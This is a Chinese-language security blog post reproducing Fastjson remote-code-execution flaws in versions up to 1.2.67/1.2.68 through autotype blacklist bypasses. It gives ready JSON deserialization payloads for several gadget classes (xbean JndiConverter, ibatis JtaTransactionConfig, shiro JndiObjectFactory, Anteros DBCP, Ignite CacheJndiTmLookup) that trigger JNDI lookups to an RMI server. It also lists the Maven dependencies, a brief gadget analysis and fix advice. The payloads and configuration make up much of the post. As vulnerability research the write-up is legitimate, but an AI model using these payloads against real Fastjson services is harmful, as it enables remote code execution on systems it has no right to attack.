Fastjson <=1.2.62 远程代码执行-漏洞复现

影响范围:

Fastjson<=1.2.62

需要开启autotype

poc:

String text1 = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"rmi://127.0.0.1:1099/exploit\"}";

pom.xml:

    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.62</version>
    </dependency>
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

tips:这里需要另外导入jar包才能测试

该黑名单主要来自于jackson-CVE-2020-8840

https://nvd.nist.gov/vuln/detail/CVE-2020-8840

漏洞复现:

漏洞分析

 这里明显存在jndi注入,但是toObjectImpl不满足fastjson调用规则,因此查看其父类函数

 其父类中在toObject函数中调用了它,但是仍然不满足调用条件,因此继续溯源

 可以看到在setAsText函数中调用了toObject函数,并且set满足调用规则,确定Astext属性,因此payload即打

github环境:

https://github.com/Wfzsec/FastJson1.2.62-RCE

修复建议:

1.关了autotype,用白名单(推荐)

2.升级jdk(不太现实)

fastjson<1.2.67 黑名单绕过

com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig

poc:

  String payload="{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"rmi://127.0.0.1:1099/tr1ple\"}}";

pom.xml

<dependency>
            <groupId>org.apache.ibatis</groupId>
            <artifactId>ibatis-sqlmap</artifactId>
            <version>2.3.4.726</version>
        </dependency>
        <dependency>
               <groupId>javax</groupId>
               <artifactId>javaee-api</artifactId>
               <version>8.0.1</version>
        </dependency>

漏洞分析:

如下图所示setProperties反序列化将直接调用,那么在其中又直接调用initctx.lookup,明显的jndi注入,那么只需要看一下utxname如何传值即可,utxName是从props中取的,说明反序列化时prop必须存在且属性userTransaction存在,所以只需要再@type反序列化Properties,为其写入userTransaction和rmi键值对即可

fastjson<1.2.68 黑名单绕过

org.apache.shiro.jndi.JndiObjectFactory 

pom.xml:

        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-core</artifactId>
            <version>1.5.1</version>
        </dependency>

poc:

    String payload="{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\": \"rmi://127.0.0.1:1099/Exploit\"}";

 getInstance方法中存在可控的lookup方法,参数resourceName可通过下图函数进行赋值

br.com.anteros.dbcp.AnterosDBCPConfig

poc:

String payload="{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\": \"rmi://127.0.0.1:1099/Exploit\"}";
String payload
="{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\": \"rmi://127.0.0.1:1099/Exploit\"}";

pom.xml

        <dependency>
            <groupId>br.com.anteros</groupId>
            <artifactId>Anteros-DBCP</artifactId>
            <version>1.0.1</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/com.codahale.metrics/metrics-healthchecks -->
        <dependency>
            <groupId>com.codahale.metrics</groupId>
            <artifactId>metrics-healthchecks</artifactId>
            <version>3.0.2</version>
        </dependency>

在此get方法中存在lookup方法,但参数看起来没办法直接通过set函数赋值,那么除了set赋值,另外一种就是在其他函数调用该函数进行传值调用

 在下图两处都调用了该方法,那么入口的参数都是可控的,因此直接反序列化时传入即可

 

 

org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup

poc:

 String payload = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\",\"jndiNames\": \"rmi://127.0.0.1:1099/Exploit\"}";

pom.xml

        <dependency>
            <groupId>org.apache.ignite</groupId>
            <artifactId>ignite-jta</artifactId>
            <version>2.8.0</version>
        </dependency>

getTm存在lookup方法的调用,其来自jndiNames

setJndiNames为其赋值

 

 fastjson 反序列化类时必须有无参的构造方法,否则在checkautotype方法中将被fastjson判断为接口或抽象类,最终抛出autoType is not support的异常。

关于Fastjson反序列化构造方法的选择:

https://www.cnblogs.com/Raiden-xin/p/12681577.html

posted @ 2020-02-23 11:30  tr1ple  阅读(17103)  评论(2编辑  收藏  举报